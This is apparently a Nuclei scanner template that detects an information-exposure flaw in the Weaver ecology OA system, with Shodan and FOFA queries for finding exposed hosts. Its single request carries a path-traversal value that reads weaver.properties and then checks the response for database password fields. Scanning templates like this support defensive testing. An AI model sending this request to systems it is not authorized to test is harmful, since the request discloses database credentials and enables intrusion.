id: ecology-info-leak

info:
  name: Ecology  - Information Exposure
  author: qianbenhyu
  severity: high
  description: |
    The "ecology" component exposes a file that contains sensitive database credentials (dbuser/dbpass).
  reference:
    - https://github.com/xinyisleep/pocscan/blob/main/%E6%B3%9B%E5%BE%AE/oa%E6%B3%9B%E5%BE%AE0day%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96.py
  metadata:
    verified: true
    max-request: 1
    shodan-query: ecology_JSessionid
    fofa-query: app="泛微-协同办公OA"
  tags: ecology,unauth,misconfig

http:
  - method: GET
    path:
      - "{{BaseURL}}/api/portalTsLogin/utils/getE9DevelopAllNameValue2?fileName=portaldev_%2f%2e%2e%2fweaver%2eproperties"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "ecology.password"
          - "ecology.charset"
        condition: and

      - type: word
        part: header
        words:
          - "text/plain"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100c7fac3e43e599524e0f5ee32d126aba1b819a53213b638b0c61d2833fe1167d102207936cb3ff3fed246bc3f2351d1c64720e21be18f0f707f5f2f22213b0610050d:922c64590222798bb761d5b6d8e72950